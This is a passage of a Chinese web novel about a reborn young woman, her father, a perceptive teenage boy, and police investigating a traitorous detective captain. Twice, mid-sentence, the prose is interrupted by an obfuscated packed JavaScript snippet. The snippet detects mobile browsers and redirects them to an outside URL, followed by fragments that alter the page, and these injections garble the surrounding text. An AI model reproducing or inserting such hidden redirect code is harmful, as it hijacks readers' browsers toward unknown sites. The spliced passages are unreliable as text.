大温的那一碗冰沙吃到最后已经全化了,她干脆一仰头全喝了。 喝完顺手把垃圾塞给老温,照例在老温伸手讨钱的时候往他手心拍了一下。 老温撇嘴,不满地埋怨:“大小姐,我帮你买的冰沙,吃完还要我帮你扔垃圾,这还有没有天理了!” 大温笑笑,不管悲愤的老温,低头继续看手机。 先前发给何景澄的那条消息没有最新回复了,大温退出聊天框,继续往下看。 下一条是卢旗旗发来的,大温愣了愣,她记得是在第一天的时候加的好友,后来每天都见面就没有在网上聊天,这还是卢旗旗第一次给大温发消息。 【卢旗旗】:你们这几天都小心些,不要相信任何人。 【卢旗旗】:啊对了,我也不能信……不对? 【卢旗旗】:哎呀想不通,总之你和老温一定要保护好自己啊,在警察查明真相找到凶手前,一定要远离我们科考队的所有人,特别要离吕教授远点。 看来卢旗旗也在怀疑吕教授,这也不奇怪,吕教授的行为确实有点可疑。 这次重生,大温真的收获了很多。她认识了很多以前错过的人,发现了很多事情的真相,看到了很多人的另一面。 原本对卢旗旗的介怀也已经慢慢消退,她知道前世老温被害一事并不能怪卢旗旗,她有更应该仇恨的人。 大温想起前世的卢旗旗,听说她被辞退了,辗转各个城市打工,再也没有做类似的工作,也不知道最后她在做些什么,还会因为愧疚而良心不安吗? 【大温】:旗旗姐,你也要保护好自己。 发完消息后没有立刻收到回复,老温扔完垃圾回来了,大温关掉手机,正准备问老温回去了吗,老温兜里的手机响了。 他从口袋里摸出手机,看着来电显示皱眉,随后接起:“喂?” 电话那头不知说了什么,老温的面色愈发凝重,最后他说了一个“好”字,挂掉了电话。 大温:“怎么了?” 老温好像有点不知道该从何解释,他皱眉思索,片刻后答道:“之前那个刑侦大队队长被举报了,我们的案子被移交上级公安局了,需要我们明天重新对一下笔录。” 大温愣了好久都没反应过来,总觉得这剧情发展是不是有点太快了。 一开始她真的以为老温这件事就是个普通意外,没想到是伪装成意外的谋杀。 事情至此已经很魔幻了,结果还有更魔幻的,在报案后的同一天,接警的公安局刑侦大队队长就被查出有问题,案子直接移交上级公安局。 人生可真是精彩。 大温甚至有点想为她这跌宕起伏的人生高歌一曲了。 然而就在她感慨的时候,更加跌宕起伏的剧情发生了。 大温的目光落在不远处的小广场上,小广场上玩滑板的小少年们围在一起。 一个少女踩着滑板腾空,她黑色的短发在风中飞扬,画着彩色涂鸦的滑板在空中旋转了三百六十度。 少女像小猫一样轻巧落地,围观的小少年们发出一阵惊呼。 少女很神气地仰头看他们,而在这一圈孩子旁边,大温看见了一个灰色格子衬衫的少年,他快步穿过人群,向着她这边走来。 少年的目标明确,径直走来,好像知道她就在这里。 “何景澄?”大温微微睁大眼,不可置信地看着来人。 老温也听到了,赶忙站起来:“哪里哪里? 他怎么过来了? 这个小公园不算大,但人不少,想要在人群里发现她和老温还是有些困难的,而何景澄却像是早就看到她了一样。 发现大温在看他,何景澄笑了一下,刚好经过小公园里灯光最亮的地方,大温可以清楚看见他的脸。 何景澄走的很快,大温还在震惊时,他已经走上台阶,走到了大温三米开外的地方。 老温:“哟,何景澄同学你怎么也在乐宁县?” 何景澄放慢步伐,停在老温面前:“碰巧在这附近,听说你们遇到了刑事案件,想过来看看怎么回事。” 大温想起了先前何景澄说把一只受伤的红隼送去公安局了,原来说的是乐宁县的公安局。 还真是……太巧了。 老温:“哎呀,其实也没什么啦,不用太担心,现在案子交给沛霖市公安局查了,这回肯定能查出来了。” 老温语气故作轻松,何景澄却很准确地听出他话里的问题:“这回?是负责调查的人中出现叛徒了吗?” 这孩子的直觉怎么这么敏锐!大温有些震惊,这还没说几句呢,感觉他都快知道完了。 老温也一样震惊:“你这孩子,直觉也太敏锐了点!” 何景澄有些警惕地四下张望,确认没有人后才小心地凑到老温耳边:“其实也没有,我能这么快猜到,是因为我的小姨就在找那个公安系统里的叛徒。” 何景澄的声音很低,音量正好能让老温和大温听清。 大温感觉这件事变得越来越复杂了,她有点头疼,虽然很想问何景澄他的小姨为什么在查叛徒,是有什么邪恶组织渗透了吗?但这是机密,何景澄一个孩子肯定不知道,就算他知道也不能说。 头疼过后又有些讶然,原来何景澄的小姨是警察,难怪他家的信息被保护得很好。 大温一直不知道他的家庭情况,前世关于何景澄的家世有很多猜测,至于为什么是猜测……因为他本人一直拒绝透露家庭情况,大家只能猜。 唯独公开的一条信息还是大温问的。 大温之前看何景澄这么聪明,却从来没有在本地听说过他这个人,好奇问过他:“你之前在哪上的学啊?” 何景澄放下笔,看着大温很认真地回答:“首都,我的小学和初中都是在首都上的学。” 大温惊讶:“诶,你在首都念的小学和初中,为什么跑来这么远的地方?” 何景澄笑:“因为有想陪伴的人在这里。” 想起这段对话,大温猜测何景澄说的那个想陪伴的人就是他的弟弟。 丰林市人民医院的癌症治疗,特别是针对骨肉瘤的治疗水平在国内算是顶尖的,他的弟弟应该就在丰林市人民医院住院。 而丰林市一中的教育水平不算拔尖,但离丰林市人民医院很近,骑车只需要十分钟时间,也许正是出于这种考虑,何景澄才会选择就读丰林市一中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904014|176769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 大温思考间,何景澄和老温不知道聊到了什么,纷纷看向她。 大温奇怪:“怎么了?” 何景澄露出一个灿烂的笑容:“没什么,只是觉得你一如既往的大胆。” 大温恍然,大概是刚刚老温和何景澄说了今天的经历,说了她(准确来说是小温)跳出来用嘴炮打败大魔头。 过了一会她又发觉了不对,拽住何景澄的胳膊:“一如既往?” 何景澄看了一眼拽住他的手:“对,你还是和初见时一样大胆。” 说的是动车上初遇的时候吧,大温收回手。按照何景澄的观察力和直觉,好像确实能从一些小事里看出这个人的性格特点。 刚刚有一瞬间,大温还以为眼前站着的是她那个时空的何景澄,而她还是个高中生。 也仅仅是一瞬间,下一刻大温便清醒意识到了,站在她面前的是十六岁的何景澄,而她是二十五岁却用着十五岁的身体的温流照。 大温:“说起来,你怎么一个人?你爸爸也在乐宁县吗?” 何景澄:“嗯,我们打算把几个县城比较出名的景点都走一遍,今天刚好从隔壁县过来。” 老温插话:“好巧好巧。” 大温一把把老温推开:“你这几天都在乐宁县?” “对,如果有什么需要帮忙的可以联系我。”何景澄顿了一下补充道,“其实我还挺擅长推理的。” 天色不早了,何景澄与大温父女告别,随后隐入夜色中。 老温伸了个懒腰,打着哈欠走出小公园。大温和老温并肩而行,就像小公园里随处可见的平常父女一样。 走着走着,大温突然问老温:“老温,你说如果一个人重新回到过去,有机会阻止一些坏事的发生,她能成功吗?” 老温:“不好说,这个世界上有很多事并非努力就会有好结果的。” 大温:“那……那如果真的像你说的,努力了但是没有得到好结果,那该怎么办?” 老温犀利反问:“温流照同学,你今天怎么好像变了个人?” 大温有点心虚:“我哪变了?” 老温:“你到现在都没有揍我诶。” 大温:“……” 大温怒了:“老温同志,请不要在聊正经话题的时候打岔,不然我真的会在你死里逃生的今天给你一拳。” 老温哈哈笑着:“你揍我也挺好的,这样你就不用总是思考这么多有的没的了吧?” 大温一愣,脚步慢了几步。 老温往前走了几步,正好站在明晃晃的路灯下,他回头看着大温。 “大温同学,你看,”老温指了指头顶的夜空,“夜空很美吧?” 非常凑巧的,在大温抬头的那一刻,远处有一道细长的光由下而上升空,越来越多的光芒升空,随后炸开一朵又一朵五颜六色的烟花。 砰砰砰—— 大温的心在此刻跳得飞快,并不因为这突然而又恰到好处的烟花,而是因为老温对她的称呼。 “这个世界很美丽,大温同学,不如趁现在学会放过自己? 五颜六色的烟花腾空又炸开,老温笑盈盈地看着她。 16. 加班 数小时前,乐宁县公安局—— 丁文文在等待方承平说些什么,又或者,他在提防着方承平做些什么。 他一直紧紧盯着师父的背影,在过去的几个月里,他经常看着这个背影。 平日里他总是带着“啊,好麻烦”“好累,虽然才刚上班但是好累”“想摸鱼,好想摸鱼”的心态,第一次他带着戒备看着师父的背影。 说实话,方承平是个好师父,他在教导两位徒弟时尽职尽责,然而一码归一码,为了心中尚存的正义,他需要揭发方承平。 良久,方承平终于回头,平静的目光看了过来。 “你做得很好,丁文文。” 意料之外的夸奖,丁文文愣了愣。 “但你太傻了,”方承平摇摇头,“你暴露了自己,你觉得你还能继续活下去吗?” 方承平话一出口,埋伏在附近的警官们纷纷冒头,他们举着枪支瞄准了方承平,像是在告诫他不要轻举妄动。 许依然也在其中,她大概是这些人里第一个被通知队长叛变的人,早在下午的审讯进行到一半时,丁文文就悄悄往她手里塞了一张纸条。 许依然不动声色地把纸条收好,在审讯的间隙以上厕所为由离开审讯室,展开那张纸条。 纸条很小,没写什么内容,只有一串数字和四个字:师父叛变。 短暂的惊讶后,许依然记下那串数字,把纸条扔进马桶里冲走,她深吸几口气,调整自己的情绪,最后好像什么事情都没发生一样回到了审讯室。 在审讯期间,许依然见缝插针给其他同事传递消息,于是就有了现在这一幕——渐渐黑沉的夜幕下,方承平微笑着举起双手。 他看着站在自己对面的同僚,笑容很欣慰。 方承平:“还不错,至少会找人帮忙。” 丁文文:“师父,我想问您为什么要这么做?” 方承平:“你觉得我会说吗?” 一位资历较老的刑警厉声吼道:“方承平!坦白从宽,抗拒从严!你这是非常严重的根本性错误,最好老实点!” 方承平平淡地把手伸到丁文文面前,没有再开口。 …… 当晚,沛霖市公安局派了人来彻查方承平叛变一事。 办公室内,一个短卷发,脸蛋有些婴儿肥的小女警被埋在一大堆卷宗里。 小女警的小脸皱成一团,眉毛快要拧成海带结了。她抽空看了眼自家队长,金凤零坐在办公桌前,桌上堆着两大叠案件卷宗,短直发的飒爽女人正耐心地一卷一卷读过 小女警发出今晚不知道第几声哀嚎:“老大,我要被案卷卷宗淹死了你快救救我——” 金凤零把手中看完的卷宗合上,“啪”一下放在右手边那一沓卷宗上,她好像已经习惯了身边有个叽叽喳喳的小跟班,头也没抬,完全无视了小女警的哀嚎。 正巧此时许依然抱着一大沓新的卷宗和资料进门,小女警看着许依然手里的新卷宗,默默流下了两行宽面条泪。 小女警:“唉,命苦……唉,命苦……” 整个乐宁县公安局灯火通明,针对方承平的审讯进行了一夜,方承平经办的所有案件卷宗都被重新翻出来调查。 小小的县级公安局人手并不算多,连休假中的警察都被叫回来加班,一时间哀嚎声此起彼伏。 “好想睡觉……好想睡觉……” “我是谁我在哪,我为什么在这里,我不是应该在家里躺着吗?” “还有谁是叛徒一并招了吧,我真不想再来加班了。” “别啊!再来一个那得忙几天啊!” 诸如此类的闲聊声时不时在局内响起,办公室内卷毛小女警坐在地上,趴在一沓卷宗上打瞌睡。 丁文文作为案件的举报人正在提交证据和资料,只有许依然比较闲,她左看看右看看,虽然很想来帮忙,但她是方承平带的新人警官,为了避嫌,只能交由沛霖市公安局来的小卷毛和金凤零进行调查。 第二日,小温一行人按照通知准时到了乐宁县公安局。 一个头发有些乱的短发女人叼着一根巧克力味的棒棒糖从办公室里走出来,女人眼底下有明显的黑眼圈,一看就知道忙了个通宵。 女人的瞳色有点浅,和明显的黑眼圈对比起来显得那黑眼圈更浓了。通宵忙碌让她看起来没什么精神,她走到老温面前,拿出嘴里的棒棒糖。 “我是金凤零,沛霖市公安局刑侦支队队长,也是本次案件的负责人。” 金凤零很随意地做着自我介绍,身旁的小卷毛女警眯着眼睛打哈欠,一副困得不行的样子。 小温看着金凤零的脸,总觉得有些眼熟。她默默看着往来的警员,每个人脸上都挂着疲惫。 真辛苦,看来昨晚他们打了一场硬仗啊。 金凤零一口咬碎手里的棒棒糖,嘎巴嘎巴嚼碎糖块,表情始终没什么变化:“接下来我们需要对几个关键点进行二次审讯,麻烦各位配合一下,尽快结束。” 小温看着金凤零咬完棒棒糖,顺手把剩下的棒子塞给旁边的小卷毛,小卷毛有苦说不出,苦着脸帮自家老大扔垃圾去了。 小温一直看着小卷毛,看着她扔完垃圾回来,在金凤零背后虚空打了几拳泄愤,从那几拳小温看出小卷毛的身手也很好,动作干净利落。 小温露出欣赏的表情,不愧是专业的,看得她有些想上去切磋切磋。 就是在人家背后偷偷摸摸的样子有点滑稽。 小温突然觉得有点理解前几天在动车上何景澄说的话了,看别人打打闹闹的确实挺有趣的。 接下来的大半天时间都在忙着一些七七八八的事情,金凤零是个雷厉风行的女人,做事相当麻利,当然也可能是因为实在困得不行,想赶紧干完事回去睡觉。 作为可能是唯一一个见过凶手的证人,金凤零着重询问了吕瀚博,她问出了一个之前方承平没有问过的问题:“当天晚上你为什么要外出?” 吕瀚博:“这是我的私事,无可奉告。” 金凤零有点烦恼地抓了几下头发,感觉自己的忍耐力已经到了极限。 旁边的小卷毛很狗腿地厉声道:“吕瀚博,请配合我们的调查!” 吕瀚博:“……” 金凤零单手托腮,另一只手在转笔,一副吕瀚博 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904015|176769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不说她就一直拖着的样子。 金凤零自然不想浪费太多时间,她现在困得一沾床就能睡着,她只是认为眼前这位威严的学术型老教授一定比她更不想浪费时间。 果然,半分钟不到,吕瀚博有些无奈地开口了:“……我是出门抽烟了,顺便看了一下狗。” 金凤零放下笔,盯着眼前的老人的脸。她看到老人别开眼不去看她,想起了那个叫温流照的小姑娘的证词。 小姑娘说当晚她突然很想母亲,所以偷偷跑出去在村长家的院子里打电话,挂断电话的时候正巧碰到吕瀚博从外边回来,看见吕瀚博的时候,一直对着小姑娘叫个不停地大黄狗反而不叫了。 哦~原来如此。 金凤零推测了一下当晚的情景,吕瀚博是个犬类爱好者,因为这个爱好和威严的外表反差太大,他不想让人知道,所以特意在晚上大家都睡下了之后再出门。 本来吕瀚博应该静悄悄撸狗,再静悄悄回屋睡觉,但为了给自己出门找个借口,他特意揣了包烟出门,假装本意是出门抽烟。 就是这个决定让吕瀚博没法保持静悄悄了,他看见了疑似凶手的人,还被打电话的小姑娘撞见了,想隐瞒也隐瞒不了。 快速问完几个问题,金凤零就把人放走了。问完最后一个人后,金凤零累得直接趴桌上了。 旁边的卷毛小助理睁着半双眼,半死不活地晃了晃身侧同样半死不活的金凤零。 “老大老大,醒醒醒醒。” 金凤零半梦半醒的,她依然趴在桌子上,有气无力地说:“没有……一个人……有……疑点……” 她的意思是,在科考队的这八个人和一个未成年的小姑娘里,没有人的证词有疑点,案件毫无进展。 昨晚方承平被审讯了一晚上,硬是一句话没说,金凤零带来的人重新调查了存放引导绳的车后备箱,很遗憾,已经被方承平处理干净了。 而关于方承平拿走的东西,丁文文也不知道那是什么,他甚至有点不太确定到底是不是拿走。 方承平的住所和使用的电子设备还在调查中,说实话金凤零对此不报多少希望。 如果方承平背后的人真的是她想追查的人,依她对那些人的了解,恐怕不会留什么线索。 直觉告诉她,这件案子可能没办法在几天内侦破。 审讯室的门口探出一个脑袋,许依然端着两杯咖啡走进来。 许依然是现在警局里最闲的人,看着同事们都在忙碌,她怪不好意思的,一直坚持帮忙干一些不接触案件的零活,最常做的就是给打瞌睡的同事送去速溶咖啡。 咖啡的香味充斥整个审讯室,金凤零和小卷毛各端了一杯喝下,许依然很贴心地控制了水温,正好能够入口。 喝完咖啡金凤零就像没电的手机充了三分钟电一样,获得了一点精神,小卷毛半拉的眼皮变成了20%拉。 金凤零推开椅子站起身,伸了个嘎吱作响的懒腰:“好,还有点精神,走,去会会方承平。” 小卷毛突然觉得自己可以不用睁眼了,还是原地晕倒吧。许依然看着小卷毛哭丧着脸,被金凤零抓着领子拖走了。